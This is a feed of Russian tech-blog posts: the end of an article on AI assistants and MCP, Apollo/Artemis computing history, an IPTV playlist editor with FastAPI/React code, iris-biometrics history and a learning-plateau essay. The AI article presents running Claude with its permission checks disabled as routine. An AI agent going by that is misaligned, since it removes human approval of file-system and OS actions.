Безопасность: приложение или CLI с AI, всегда запущены в режиме пониженных привилегий, на любое действие, требующее работу с файловой системой или взаимодействия с ОС, агент спросит разрешение. Но сообщения бывают очень назойливыми и тут, вы решаете сами, дать агенту больше прав или отвечать на каждый вопрос вручную.

Мой пример обычной работы с claude: claude ‑dangerously‑skip‑permissions:)

Стоимость ошибки агента

Отдельно хочу предупредить про вещь, о которой редко говорят в обзорах, но которая бьёт по кошельку очень ощутимо. Агент может зациклиться — и это дорого.

Первое — если работаете через API, всегда ставьте лимиты на расход: и по деньгам, и по количеству запросов. Все провайдеры позволяют это настроить. Второе — не оставляйте агента работать без присмотра надолго, особенно если у него есть доступ к чему‑то важному. Третье — для любых экспериментов используйте песочницу: отдельную ветку в Git, тестовую базу данных, изолированный Docker‑контейнер. Цена ошибки в песочнице — ноль. Цена ошибки в продакшене — сами понимаете.

Еще раз про промт:

Учитель сказал: каков вопрос — таков и ответ. Кто спрашивает лениво — получает пустоту. Кто спрашивает точно — получает силу.

Создавайте правильные и понятные промты для AI. Пользуйтесь помощью у AI для генерации правильных промтов, чтобы результат был релевантен и ожидаем.

MCP‑серверы: когда AI выходит за рамки текста

Теперь перейдём к более продвинутой, но крайне полезной теме — Model Context Protocol (MCP).

Что такое MCP

MCP — это открытый протокол, который был предложен компанией Anthropic в ноябре 2024 года и с тех пор принят основными игроками рынка, включая OpenAI и Google. В декабре 2025 года протокол был передан в Agentic AI Foundation под управлением Linux Foundation.

Если объяснять совсем просто: MCP — это «USB‑C для AI». Так же, как USB‑C предоставляет единый стандарт подключения устройств, MCP предоставляет единый стандарт подключения AI‑ассистентов к внешним сервисам и источникам данных.

Зачем это нужно

По умолчанию AI‑ассистент — это изолированная «голова»: он знает только то, на чём обучен, и видит только то, что вы ему отправили в чате. Он не может залезть в вашу базу данных, прочитать файлы на диске, отправить письмо или создать задачу в Jira.

MCP решает эту проблему. Через MCP AI‑ассистент получает доступ к внешним инструментам и данным:

файловая система (чтение и запись файлов);
базы данных (выполнение запросов);
внешние API (GitHub, Slack, Notion, Jira, Google Calendar, Gmail);
поисковые системы;
специализированные инструменты.

Как это работает

Архитектура MCP состоит из трёх компонентов:

MCP Host — это AI‑приложение, в котором вы работаете (Claude Desktop, Cursor, VS Code и так далее). Хост содержит LLM и управляет клиентами.

MCP Client — посредник между LLM и сервером. Клиент переводит запросы модели в формат протокола и обратно. У каждого клиента связь с одним сервером (1 к 1).

MCP Server — внешний сервис, который предоставляет данные или возможности. Сервер «объявляет» свои инструменты (tools), ресурсы (resources) и шаблоны промтов (prompts).

Вся коммуникация идёт по JSON‑RPC 2.0 в рамках stateful‑сессии — то есть клиент и сервер поддерживают постоянное соединение и обмениваются данными в обе стороны.

Пример: как это выглядит на практике

Допустим, вы спрашиваете AI: «Найди последний отчёт о продажах в нашей базе данных и отправь его менеджеру по email».

Без MCP AI скажет: «Извините, я не могу получить доступ к вашей базе данных или отправить email».

С MCP происходит следующее:

AI понимает, что ему нужны два инструмента: запрос к БД и отправка email.
Через MCP‑клиент он обнаруживает доступные MCP‑серверы: database_query и email_sender.
AI формирует структурированный запрос к серверу БД — сервер выполняет SQL‑запрос и возвращает данные.
AI формирует запрос к серверу email — сервер отправляет письмо с отчётом.
AI отвечает вам: «Нашёл последний отчёт о продажах и отправил его на email менеджеру».

Какие MCP‑серверы доступны

На момент написания статьи доступны MCP‑серверы для огромного числа сервисов. Вот некоторые из популярных:

Git/GitHub/GitLab — поиск по кодовой базе, чтение файлов, создание коммитов и pull request'ов;
Slack — чтение и отправка сообщений;
Notion — работа с базами знаний;
PostgreSQL / MySQL — выполнение запросов к базам данных;
Brave Search — поиск в интернете;
Файловая система — чтение и запись локальных файлов;
Docker — управление контейнерами.

Полный каталог MCP‑серверов можно найти на GitHub в репозитории modelcontextprotocol.

MCP для геймдева: Unity и Unreal Engine

Отдельно хочу привести пример, который наглядно показывает, насколько мощной может быть связка AI + MCP — это геймдев.

Для Unity существует MCP‑сервер «mcp‑unity», который превращает AI‑ассистента в полноценного напарника прямо внутри редактора. Вы подключаете его к Claude Code, Cursor или VS Code — и можете управлять Unity естественным языком. Говорите «создай красный, синий и жёлтый куб» — агент сам создаёт объекты на сцене. Говорите «собери простой контроллер игрока» — агент пишет скрипт, вешает компоненты, настраивает физику. И это не просто генерация кода в отдельном окне — агент работает прямо с редактором: управляет сценой, создаёт и удаляет объекты, редактирует скрипты, манипулирует ассетами, запускает профилировщик, настраивает физику. По сути, у вас появляется второй разработчик, который сидит внутри Unity и делает рутину за вас.

Я привожу этот пример не потому, что все читатели — геймдевы, а потому, что он отлично демонстрирует суть MCP: один и тот же протокол, одна и та же модель, но подключаете разные серверы — и получаете совершенно разные возможности. Сегодня агент управляет Unity, завтра — вашей CI/CD системой, послезавтра — автомобилем или ракетой.

Заключение

AI‑ассистенты в 2026 году — это уже не игрушка и не эксперимент. Это полноценный рабочий инструмент, который при правильном использовании экономит часы рабочего времени ежедневно. Ключевые моменты, которые я хотел бы выделить:

Учитесь писать промты — это главный навык при работе с AI. Конкретный, структурированный запрос даёт на порядок лучший результат, чем абстрактный.
Учитесь писать скиллы — в статье я это не упомянул по скиллы, но это сильно упростит решение типовых задач с интегрированными инструкциями агенту.
Выбирайте AI под задачу — ChatGPT для универсальных задач, Claude для документов и кода, Gemini для интеграции с Google. Это именно мое видение.
Изучите MCP — если вы разработчик, MCP открывает возможности по интеграции AI с вашими инструментами и данными.

AI не заменит специалиста, но специалист с AI заменит того, кто AI не использует. И чем раньше вы начнёте разбираться в этих инструментах, тем больше преимуществ получите. Спасибо за внимание, надеюсь статья была полезной. Если у вас остались вопросы — пишите в коммен■■■ ВНИМАНИЕ: ПРЕВЫШЕН ЛИМИТ КОНТЕКСТНОГО ОКНА ■■■ … пишите в комментарии, я обязательно отве.

P. S. Последний абзац написан без участия AI. Или нет. Вы уже не можете быть уверены, и в этом часть идеи статьи.

[Перевод] Артемида и Аполлон: системы, отправившие их на Луну и вернувшие обратно

PatientZero — Sat, 18 Apr 2026 06:43:24 +0000

На неделе годовщины запуска и аварии Аполлона-13 я понял, что меньше думаю о взрыве кислородного бака, чем о том, что удалось сделать и до него, и после. Короткие моменты истории демонстрируют ценность надёжных систем более наглядно, чем этот полёт.

Наблюдая на прошлой неделе за миссией Артемида-2, я был поражён некоторыми параллелями и различиями между ней и Аполлоном-13. Космический аппарат Integrity Артемиды-2 приземлился 11 апреля, в тот же день, когда был запущен Odyssey Аполлона-13. Внешне эти две капсулы выглядят похоже, но Integrity больше и несёт в себе экипаж из четырёх астронавтов, а не трёх. Однако внутри их разделяет больше полувека технологического прогресса. Наиболее очевидно это на примере имеющейся у астронавтов вычислительной мощности. Сегодня компьютеры захватили мир, но в 1960-х они были на ранних этапах своего развития, и прилунение стало не только триумфом труда, изобретательности и упорства человека, но и триумфом одного из самых новых инструментов человечества — компьютера.

Цитата из The New York Times за 17 июля 1969 года, непосредственно перед первой посадкой на Луну:

«Если бы мне нужно было выбрать самое важное устройство, которое больше всех других помогло нам всего за семь лет совершить путь от околоземного проекта «Меркурий» до полёта Аполлона на Луну, то я бы сказал, что это высокоскоростной компьютер»
— Кристофер Крафт, руководитель полётов НАСА, Центр пилотируемых космических аппаратов, Хьюстон.

Мэри Джексон была одним из «живых компьютеров», работавших с цифровыми компьютерами IBM. Её история рассказана в фильме «Скрытые фигуры».

В мире компьютеры были в дефиците, зато в избытке они были в программе «Аполлон» — от планирования до строительства и испытаний самих полётов; люди попросту не могли бы справиться с тем объёмом информации и выполнять необходимые вычисления с достаточной скоростью и эффективностью.

Самые большие и многофункциональные компьютеры находились в подвале здания Центра управления полётами в Хьюстоне. Real Time Computing Complex (RTCC) состоял из множества мейнфреймов IBM, они отслеживали каждый аспект полётов, выдавали в реальном времени информацию диспетчерам, вычисляли прошлое, текущее и будущее местоположение космического аппарата и, наконец, доставляли на него цифровые команды и информацию.

Пульт управления полётами и мейнфреймы RTCC (НАСА/IBM)

Каждая консоль в Центре управления полётами отображала часть информации, анализируемой компьютерами RTCC — полётный врач видел телеметрию сердебиения и частоты дыхания астронавтов, инженер EECOM следил за жизненными показаниями самого космического аппарата (Electrical, Environmental and COMmunication systems) [прим. пер.: на самом деле, эта аббревиатура означает Electrical, Environmental, and COnsumables Manager, есть диспетчер по мониторингу электрических систем, систем управления средой и расходных материалов], а инженер FIDO (Flight Dynamics Officer — офицер по динамике полёта) отслеживал и корректировал направление полёта КА.

Хотя те современные модели мейнфреймов IBM 360 были настоящими черепахами по сравнению даже с самыми медленными современными компьютерами, они стали незаменимыми помощниками, которые обрабатывали огромный объём информации, генерируемый множеством компонентов лунных миссий «Аполлон» — простые смертные не смогли бы справиться с таким количеством данных.

Бóльшую часть информации, которую обрабатывали универсальные мейнфреймы IBM, генерировали другие, более специализированные компьютеры. Планирование полётов и подготовка начались за годы до запуска. Специальные симуляторы позволяли практиковаться и на «успешном маршруте» прохождения миссии, и проверять, как астронавты смогут справляться с неожиданными ошибками и происшествиями. Другие компьютеры применялись для коммуникационного оборудования и перенаправления драгоценных данных (телеметрии, радиокоммуникаций и телевизионной съёмки) с космического аппарата в Хьюстон, даже когда Луна уходила за горизонт в Техасе. Эти специализированные компьютеры были изготовлены широким спектром компаний: Computer Control Company, General Electric, UNIVAC и других.

Самыми известными из компьютеров Аполлона были сами компьютеры космического аппарата — те, которыми астронавты пользовались для управления им и полёта с Земли на Луну. Apollo Guidance Computer (AGC), спроектированный компьютерной лабораторией Дрейпера и произведённый Raytheon, стал чудом миниатюризации 1960-х: он весил всего 32 килограмма и имел специализированную клавиатурную панель с двадцатью кнопками, достаточно прочную, чтобы астронавты могли нажимать на неё в толстых перчатках, вися в космической невесомости.

Ввод команд в модуль Display and Keyboard (DSKY) компьютера Apollo Guidance Computer во время симуляции

Последний компьютер был спрятан в сверхтяжёлой ракете Сатурн-5: IBM Instrument Unit превращался в независимые мозги и систему управления первых минут каждой лунной миссии.

Instrument Unit Сатурна-5 и его компоненты

Этот компьютер был настолько качественно изготовлен, что даже пережил прямой удар молнии при запуске Аполлона-12! Ведущий проектировщик ракеты Сатурн Вернер фон Браун сказал: «Если будет работать Instrument Unit, то будет работать и Сатурн».

Благодаря героической работе команд, работавших на Земле, Аполлон-13 успешно приземлился почти ровно 56 лет назад. Спустя несколько месяцев после посадки астронавты отправили благодарственное письмо команде из IBM.

Один из любимых артефактов в моей коллекции — это письмо экипажа Аполлона-13, отправленное в IBM спустя несколько месяцев после их восстановления. Вот оно, по соседству с Lego-версиями приводнившейся капсулы Аполлона и лунного модуля.

Письмо от астронавтов Аполлона-13 работникам IBM (из моей личной коллекции)

Уважаемый сотрудник IBM:
Наша миссия «Аполлон-13» была одной из самых опасных в истории космоса. Если наш полёт чему-то и научил нас, так это тому, что безупречность требуется во всех аспектах Аполлона. Риски настолько велики, что нас не может устроить ничто меньшее.
Вы, как сотрудник IBM, можете по праву гордиться той ролью, которую сыграла ваша компания в миссии. Сотрудники IBM в Хантсвилле, Хьюстоне, на мысе Кеннеди, в Годдарде и Овего проделали потрясающую работу для обеспечения безопасности нашего полёта. Мы стали доверять поведению Instrument Unit, поддержке наземных компьютеров и систем, обеспеченным IBM. Все сферы работы вашей компании пронизаны одной темой: безупречностью как систем, так и людей. Мы и все наши коллеги-астронавты полагаемся на то, что вы продолжите качественно выполнять свою работу в будущих пилотируемых полётах.
Непосредственно перед запуском Аполлона-13 один из нас сказал журналисту: «Хоть мы и обрели уверенность в пилотируемых космических полётах, но риски никуда не деваются». И мир теперь знает, насколько серьёзны могут быть эти риски. Мы не скоро забудем эти слова. Мы надеемся, что каждый участвующий в программе «Аполлон» будет учитывать их во всех своих действиях.
После миссий «Меркурий» и «Джемини», после всех полётов Аполлона астронавты научились рассчитывать на это ставшее традицией стремление IBM к безупречности. Мы продолжим рассчитывать на него и во всех будущих полётах. Нас обнадёживает то, что качество — это традиция для вашей компании. Безупречность для вас — это вопрос гордости. Для нас это вопрос выживания.
Пожалуйста, примите наши сердечные благодарности за ваши прошлые достижения. Мы рассчитываем на поддержку IBM в обеспечении побед команды Аполлона/Сатурна в будущем.
С уважением,
Джеймс Ловелл Джек Суайгерт Фред Хейс

Дополнительную информацию о мейнфреймах Центра управления полётами можно узнать из потрясающей лекции моего коллеги Марка Нельсона, с 2019 года рассказывавшего историю мейнфреймов и Луны всем тем, кто был готов слушать.

После триумфа Аполлона IBM продолжила развивать свои продукты и себя. Эта компания со столетней историей за прошедшие десятилетия успешно много раз изобретала себя заново. Сегодня она продолжает развивать прогресс с сферах ИИ, квантовых вычислений и самодостаточного развития. В то же время IBM не забыла обещание, данное астронавтам Аполлона, и продолжает рука об руку работать с НАСА.

В прошлом году IBM и НАСА объявили о выпуске самой совершенной опенсорсной модели ИИ, предназначенной для анализа данных наблюдений за Солнцем высокого разрешения и прогнозирования влияния солнечной активности на Землю и находящиеся в космосе технологии.

В этом году компьютеры IBM Power управляли системой управления запуском Артемиды-2 во время обратного отсчёта; система обрабатывала и отслеживала сотни тысяч точек данных телеметрии через датчики, расположенные по всей системе запуска, и сообщала о состоянии систем ракеты и космического аппарата.

Спустя более полувека после запуска Аполлона-13 технологии изменились почти до неузнаваемости. Тем не менее, как и на долгом пути домой повреждённого космического аппарата, то, что важно на самом деле, продолжает работать до, во время и после чрезвычайных ситуаций. Когда от создаваемых нами систем зависят жизни, надёжность — это не один из параметров, а главная миссия.

Как ИИ написал локальный редактор IPTV-плейлистов на FastAPI + React 19

Resurs1 — Sat, 18 Apr 2026 06:16:14 +0000

Хабы: React, FastAPI, TypeScript, Tailwind CSS, Open source, IPTV, Python

Теги: m3u, m3u8, iptv, fastapi, react, hls, epg, drag-and-drop, self-hosted

Введение

У меня был плейлист на 1000+ IPTV-каналов и стойкая привычка править его на свой вкус. Менять порядок каналов, чистить дубликаты, добавлять любимое в группу «Основное» — всё очень неудобно. Каждый раз при обновлении списка каналов/провайдера — заново.

В какой-то момент мне это надоело, и я вдохновленный идеей с помощью ИИ написали m3u Studio — локальный веб-редактор плейлистов с drag-and-drop, встроенным HLS-плеером, EPG и автоматическим подтягиванием логотипов.

Исходники (MIT)

workspace

В этом посте расскажу про интересные архитектурные решения, которые всплыли по ходу работы.

Что это вообще такое

Запускаешь docker compose up -d, открываешь http://127.0.0.1:8000, загружаешь свой .m3u8. Получаешь двухпанельный интерфейс: слева — исходный плейлист по группам, справа — твой курируемый список «Main». Перетаскиваешь каналы между панелями, внутри Main — переупорядочиваешь drag’n’drop’ом, любой канал кликом открывается в плеере. Экспорт — один клик: скачивается очищенный .m3u8 с твоим порядком.

Стек: FastAPI + httpx + Pydantic v2 на бэке, React 19 + TypeScript + Tailwind v4 + @dnd-kit + hls.js + TanStack Query на фронте. ~10k LOC суммарно.

Решение 1: состояние хранится по именам, а не id

Когда парсишь m3u-файл, каждому каналу нужен стабильный идентификатор. Очевидный выбор — хешировать URL потока:

def _stable_id(url: str) -> str:
    digest = hashlib.sha1(url.encode("utf-8"), usedforsecurity=False).hexdigest()
    return digest[:12]

Проблема всплывает, когда пользователь меняет провайдера. URL-ы меняются полностью — значит, меняются все id-шники, и вся твоя курация («вот мои любимые 50 каналов в таком-то порядке») идёт к чёрту.

Решение: хранить курируемый порядок по именам каналов, а не id. Имена стабильны между провайдерами. Внутренний store переводит имя ↔ id на границе через словарь, построенный из текущего плейлиста:

@dataclass(frozen=True, slots=True)
class MainState:
    main_names: tuple[str, ...]

class StateStore:
    def current_ids(self) -> list[str]:
        """Stored names → current playlist ids."""
        with self._lock:
            name_to_id = self._name_to_id_map()
            return [name_to_id[n] for n in self._state.main_names if n in name_to_id]

Фронту это незаметно — API отдаёт id-шники, как и раньше. Но загрузишь новый плейлист от другого провайдера — твоя курация автоматически перенесётся на новые каналы с теми же именами.

Решение 2: зеркалирование Main ↔ Source

Курируемый список «Main» и группа «основное» в исходном плейлисте — это, по сути, одно и то же. Когда пользователь перетаскивает канал в Main, мне нужно:

Обновить state.json (курируемый список)
Переписать playlist.m3u8 так, чтобы группа «основное» отражала новый порядок (нужно для экспорта и для того, чтобы видеть изменения в левой панели)
Обновить default_names.txt (список имён, который используется как «семя» при первом импорте)

Всё это делается одним хелпером syncmain_to_source, который вызывается из каждого PATCH /api/main:

def _sync_main_to_source() -> None:
    main_ids = _state.store.current_ids()

    text = build_with_main_group(
        header=_state.playlist.header,
        all_channels=_state.playlist.channels,
        main_ids=main_ids,
        group_name=MAIN_GROUP_NAME,
    )
    PLAYLIST_PATH.write_text(text, encoding="utf-8")
    _state.playlist = parse_playlist(PLAYLIST_PATH)
    _state.store.bind_playlist(_state.playlist)

    current_names = _state.store.state.main_names
    if current_names:
        DEFAULT_NAMES_PATH.write_text("\n".join(current_names), encoding="utf-8")
        _state.store.set_default_names(current_names)

Важный нюанс: я специально не вызываю reload_playlist() (который перечитал бы state.json), а напрямую ребиндю playlist через bind_playlist(). Иначе получается race condition: drag-and-drop возвращает старый ответ, потому что load_or_bootstrap читает state.json, который ещё не до конца записан.

На фронте React Query инвалидирует кэш источника после каждой мутации:

onSettled: (server) => {
  if (server) client.setQueryData(KEY_MAIN, server)
  client.invalidateQueries({ queryKey: KEY_SOURCE })
}

Результат — обе панели всегда синхронны, без «save»-кнопки.

Решение 3: HLS-прокси, который переписывает манифесты

IPTV-провайдеры в 90% случаев не отдают CORS-заголовки, поэтому браузер отказывается проигрывать их потоки напрямую. Классический подход — сделать прокси, который пропускает запрос через свой сервер.

Тонкость: если просто проксировать master.m3u8, в нём URL-ы на variant-манифесты, а внутри variant-манифестов — URL-ы на .ts-сегменты. Их все нужно переписать на прокси-URL, иначе плеер запросит сегменты напрямую и снова упрётся в CORS.

~40 строк Python:

async def proxy_stream(upstream_url: str) -> Response:
    async with httpx.AsyncClient() as client:
        resp = await client.get(upstream_url, follow_redirects=True)
        content_type = resp.headers.get("content-type", "")

        if "mpegurl" in content_type.lower() or upstream_url.endswith(".m3u8"):
            # Rewrite every non-comment line to go through our proxy.
            base = urljoin(upstream_url, ".")
            rewritten = []
            for line in resp.text.splitlines():
                if line.startswith("#") or not line.strip():
                    rewritten.append(line)
                else:
                    absolute = urljoin(base, line)
                    rewritten.append(f"/api/proxy?u={quote(absolute)}")
            return Response("\n".join(rewritten), media_type=content_type)

        return Response(resp.content, media_type=content_type)

Решение 4: AC-3 → AAC на лету

Некоторые провайдеры гонят AC-3 / E-AC-3 аудио, которое Chrome и Safari упорно отказываются декодировать. Видео играет, звука нет.

Решение — fallback-кнопка «Fix audio», которая на бэке запускает ffmpeg:

proc = await asyncio.create_subprocess_exec(
    FFMPEG_BIN,
    "-i", upstream_url,
    "-c:v", "copy",      # видео не трогаем
    "-c:a", "aac",       # только аудио ремуксируем
    "-f", "hls",
    "-hls_time", "4",
    "-hls_list_size", "6",
    "-hls_flags", "delete_segments",
    str(output_dir / "index.m3u8"),
)

Плеер переключается на /api/transcode/{channel_id}/index.m3u8 и звук появляется через ~3 секунды (латентность одного HLS-сегмента). Процессы ffmpeg’а трекаются и убиваются на background-задаче cleanup’а.

Решение 5: светлая тема поверх dark-only кодовой базы

Фронт изначально писался только под тёмную тему, и в куче мест захардкожены классы text-white, bg-white/5, border-white/10. Переписывать тысячи строк на семантические токены — долго.

Пошёл другим путём: добавил в index.css переопределения всех этих utility-классов для [data-theme="light"]:

[data-theme="light"] .text-white               { color: var(--color-fog-300); }
[data-theme="light"] .bg-white\/5              { background-color: var(--tint-bg-sm); }
[data-theme="light"] .bg-white\/10             { background-color: var(--tint-bg-md); }
[data-theme="light"] .border-white\/10         { border-color: var(--tint-border-sm); }
[data-theme="light"] .hover\:bg-white\/5:hover { background-color: var(--tint-bg-sm); }
/* … и так далее */

Семантические токены --tint-bg-sm / --tint-border-sm / … меняются в зависимости от темы и дают реальную архитектуру elevation’а. Это работает потому что [data-theme="light"] .class имеет specificity (0,2,0), что перебивает обычный .class (0,1,0) из Tailwind.

Не идеально, но работает — и не требует трогать ни одного компонента.

Что ещё внутри

Парсер m3u с поддержкой #EXTGRP, tvg-logo, tvg-id, tvg-rec (catchup)
Резолвер логотипов, который идёт по цепочке: локальный override → iptv-org/database → tv-logo/tv-logos CDN → EPG <icon>
Детектор дубликатов каналов на основе нормализованных имён (отстригает суффиксы качества вроде HD, FHD, UHD, +4)
XMLTV EPG-загрузчик с кэшированием, день-по-дню раскладкой, jump’ом в архив по клику на программу
Drag-and-drop на @dnd-kit с кастомной collision detection’ом, который предпочитает строки над контейнером при drag’е из Source в Main
Встроенный HLS-плеер на hls.js с keyboard shortcut’ами, fullscreen’ом, архивной перемоткой и записью в MKV

Как запустить

git clone https://github.com/stepanovandrey89/m3ustudio.git
cd m3ustudio
docker compose up -d

Открываешь http://127.0.0.1:8000, кидаешь свой .m3u8 через UI, начинаешь править.

Код открыт, issues и PR’ы приветствуются. Если какая-то из перечисленных архитектурных идей показалась интересной — расскажу подробнее в комментариях.

GitHub

Краткая история биометрии: как была изобретена идентификация по радужке глаза

Sat, 18 Apr 2026 06:04:09 +0000

Источник фото: Gemini

Обратил внимание на радужку глаза человека как на неповторимую биометрическую характеристику сродни отпечатку пальца Фрэнсис Гальтон. В 1888 году в своей статье в журнале «Nature» «Personal identification and description («Идентификация личности и ее характеристики») он писал, что тело человека можно порезать на микротоме на 800 миллионов слоев толщиной в одну десятитысячную дюйма, и на каждом их них мы под микроскопом увидим неповторимую картинку. В случае же бороздок на коже подушечки пальца и в радужке глаза никого резать не надо, природа предоставляет нам уникальные узоры уже в готовом виде. При этом, добавляет он, «отметины на радужной оболочке глаза никогда не были должным образом изучены, разве что производителями глазных протезов, которые распознают тысячи их разновидностей. Эти отметины вполне заслуживают того, чтобы их сфотографировали с натуры в увеличенном масштабе».

Их фотографировали много раз и довольно быстро убедились, что узор радужки каждого человека действительно не менее уникален, чем отпечатки пальцев. В 1935 году криминолог Карлтон Саймон и главный врач отделения офтальмологии нью-йоркской больницы Маунт-Синай Исидор Гольдштейн опубликовали в «New York medical journal» статью под заголовком «Новый научный метод идентификации», где как раз утверждалось, что рисунок радужки глаза уникален и потому подходит для идентификации человека. В том же году они доложили об этом на ежегодном съезде полицейских начальников в Нью-Йорке. Разумеется, утверждать это Саймон и Гольштейн могли лишь с определенной степенью вероятности, больница Маунт-Синай хоть была самой большой в городе, но выборка проверенных на сходство радужки ее пациентов удовлетворяла только 95% порогу вероятности. Спустя ровно 20 лет другой окулист доктор Пол Тауэр показал, что рисунки радужки отличаются, причем сильно, у шести исследованных им пар гомозиготных (однояйцовых) близнецов, что произвело гораздо большее впечатление на криминалистов, чем доклад Гольдштейна и Саймона.

Но поставить на поток идентификацию личности по радужке глаза было проблематично по одной простой причине. Радужная оболочка растягивалась и сжималась, регулируя размер зрачка в зависимости от освещения, и, соответственно, сжимался и расправлялся ее рисунок. Требовалось создать условия, чтобы размер зрачка был один и тот же. Что уж тут было говорить о создании хранилищ в тысячи таких фото, да и о самой процедуре «дактилоскопирования» радужки с точно заданным диаметром зрачка. Тем более, что по конечному результату дактилоскопия была несравненно проще и дешевле.

Словом, со времен Гальтона в течении почти века были слышны лишь призывы использовать радужку для аутентификации без предложения конкретного способа это сделать на практике, и лишь в 1978 году был запатентовано устройство и метод идентификации людей по их глазам. Но не по радужке, а по рисункам кровеносных сосудов в сетчатке глаза.

Схема из патента US4109237A

Автор этого изобретения Роберт Хилл (он сам был инженером, а не окулистом, но тоже был не чужд офтальмологии – окулистом был его отец) писал в своей патентной заявке: «Сетчатка глаза каждого человека уникальна по следующим параметрам: количеству крупных кровеносных сосудов в области диска зрительного нерва; относительному углу выхода этих крупных кровеносных сосудов из зрительного нерва; особенностям разветвления кровеносных сосудов; размеру диска зрительного нерва. Кроме того, изображение на сетчатке глаза вряд ли существенно изменится с возрастом. Подделать изображение на сетчатке глаза невозможно. Поскольку отличительная характеристика связана с функцией зрения, изменить изображение на сетчатке невозможно. <…> Таким образом, метод, описанный в настоящем изобретении, в общих чертах заключается в том, чтобы заставить человека зафиксировать взгляд на точке фиксации, расположенной на заданном расстоянии от хрусталика его глаза, просканировать глаз с помощью источника света и зафиксировать ту часть света, которая отражается от сетчатки глаза. <…> Полученный образец записывается вместе с идентификационным номером, присвоенным человеку, для последующего сравнения с образцом этого человека, полученным позднее, с целью установления его личности».

Сам прибор Хилла состоял из сканировавшего глаз источника точечного света с 360 светодиодами, расположенными в виде двух концентрических кругов, которые последовательно и быстро включались и выключались, и фотодетектора, подключенных к компьютеру, который сохранял и воспроизводил полученный шаблон для сравнения. Кроме США Роберт Хилл запатентовал свой сканер в Великобритании, Франции, ФРГ, Японии, а потом еще и Гонконге, основал корпорацию EyeDentify, Inc. и в 1981 году его сканеры сетчатки глаза появились в продаже. Если верить газете «The New York Times», первые модели его сканеров сетчатки глаза стоили до 60 000 долларов, потом к концу 80-х подешевели до 7000 долларов, но покупали их сотнями, в первую очередь американские министерства обороны, энергетики, ЦРУ, компания Boeing, банки, и даже одна тюрьма в штате Юта раскошелилась. Правда, сам Хилл был уже не главным в основанной им компании, его же инвесторы не промахнулись с изобретением и вернули свое с прибылью.

К этому времени проблема расширяющего и сужающего зрачка при сканировании радужки глаза уже была также решена, причем тоже самым простым способом. Решили ее два окулиста с дипломами PhD Леонард Флом и Аран Сафир из той же офтальмологической клиники больницы Маунт-Синай, где в свое время работал доктор Гольдштейн, В 1987 году они получили патент на «Систему распознавания радужной оболочки глаза».

Схема из патента US4641349A

«Сначала глаз освещают до тех пор, пока зрачок не достигнет заданного размера, после чего получают изображение радужной оболочки и зрачка, – писали они. – Затем это изображение сравнивают с сохраненной информацией для идентификации. Сохраненная информация получена с глаза, зрачок которого был приведен к такому же заданному размеру. Освещение радужной оболочки может осуществляться под косым углом из нескольких точек по окружности радужки. Освещение из каждой точки может быть относительно монохромным, чтобы в получаемой тени отсутствовал цвет источника света в этой точке, что обеспечивает лучший контраст. Система распознавания радужной оболочки может включать в себя процессор, который управляет схемой контроля освещения, и камеру для получения изображений с несколькими заранее заданными размерами зрачка».

Прототип их сканера обошелся изобретателям в 13 тысяч долларов, но в производство не пошел. Почему – можно только гадать. Судя по косвенным уликам, скорее всего дело было так. Пять лет спустя все узнали, что у доктора Флома лечил свое зрение и наблюдался Джон Фрэнсис Уэлч-младший, председатель совета директоров и генеральный директор General Electric Company. То ли это он нанял специалиста по машинному зрению Джона Даугмана, на тот момент профессора Кембриджа, то ли тот сам нашелся, но, как бы там ни было, а в 1994 году Даугман получил патент на «Биометрическую систему идентификации личности на основе анализа радужной оболочки глаза» с приоритетом от 1991 года.

Схема из патента US5291560A

В нем сказано: «Единственная предыдущая попытка использовать преимущества радужной оболочки глаза для создания системы идентификации личности была предпринята в патенте США №4641349, выданном Флому и Сафиру и озаглавленном «Система распознавания радужной оболочки глаза». В нем раскрывается общая концепция использования радужной оболочки глаза в качестве метода идентификации, но не описывается конкретный вариант реализации такой системы. <…> Не было предложено ни теоретической, ни математической формулировки для принятия решений на основе сравнения несопоставимых наборов данных. Более того, не был описан метод расчета уровней достоверности, связанных с идентификацией. <…> Между тем, хотя радужная оболочка растягивается и сжимается, регулируя размер зрачка в зависимости от освещенности, ее структура практически не меняется, за исключением растяжения и сжатия. Такие искажения текстуры можно легко устранить математически при анализе изображения радужной оболочки глаза, чтобы извлечь и закодировать сигнатуру радужной оболочки, которая остается неизменной при широком диапазоне расширения зрачка».

Как сейчас пишут в справочниках и энциклопедиях, IT-профессор Даугман изобрел IrisCode – двумерный алгоритм распознавания радужной на основе вейвлетов Габора, который лежит в основе всех общедоступных систем автоматического распознавания радужной оболочки глаза и с помощью которого было зарегистрировано более 1,5 миллиарда человек по всему миру в рамках государственных программ идентификации. Его заслуженно считают отцом-основателем этого метода биометрической аутентификации, получившего широкое распространение благодаря ряду фирм, и в первую очередь компании IriScan – стартапу Флома, Сафира и Даугмана. Гораздо реже пишут, что в этот стартап вложилась GE Capital, то есть финансовое подразделение General Electric Company, где всем командовал пациент доктора Флома Джон Фрэнсис Уэлч-младший. В мае 2013 года все трое – Джон Дауман, Леонард Флом и Аран Сафир – были включены в Национальный зал славы изобретателей за свой вклад в разработку системы распознавания радужной оболочки глаза.

О сервисе Онлайн Патент:

Онлайн Патент — цифровая система № 1 в рейтинге Роспатента. С 2013 года мы создаем уникальные LegalTech‑решения для защиты и управления интеллектуальной собственностью. Зарегистрируйтесь в сервисе Онлайн‑Патент и получите доступ к следующим услугам:

Онлайн‑регистрация программ, патентов на изобретение, товарных знаков, промышленного дизайна;
Подача заявки на внесение в реестр отечественного ПО;
Поиск по программам;
Регистрация программы в Роспатенте;
Регистрация товарных знаков;
Опции ускоренного оформления услуг;
Бесплатный поиск по базам патентов, программ, товарных знаков;
Мониторинги новых заявок по критериям;
Онлайн‑поддержку специалистов.

«Я просто тупой»: Как Эффект Плато убивает мотивацию в обучении, и как его пробить

enamored_poc — Sat, 18 Apr 2026 05:57:38 +0000

1. Введение: Иллюзия собственной глупости

Знакомая картина: вы решаете выучить английский, освоить программирование, пойти на танцы или научиться монтировать видео. Первые пару недель всё летит как на крыльях. Вы сходу запоминаете новые слова, делаете первые успехи, и внутри загорается лампочка: «Вау, да у меня талант! И почему я не начал раньше?».

А потом наступает условная третья неделя. Вы открываете тот же самый учебник, программу или садитесь за инструмент, смотрите на задачу и чувствуете, как в голове воет перекати-поле. Вы пытаетесь усвоить новую тему, читаете одно и то же правило пять раз, но оно просто отскакивает от мозга. Вы тратите столько же часов, что и раньше, но топчетесь на месте.

И вот тут в голову предательски закрадывается тяжелая мысль: «Наверное, это просто не мое. У меня не тот склад ума. Я слишком старый для этого. Я просто тупой». Руки опускаются, мотивация летит в пропасть, и блокнот с записями отправляется пылиться в дальний ящик стола.

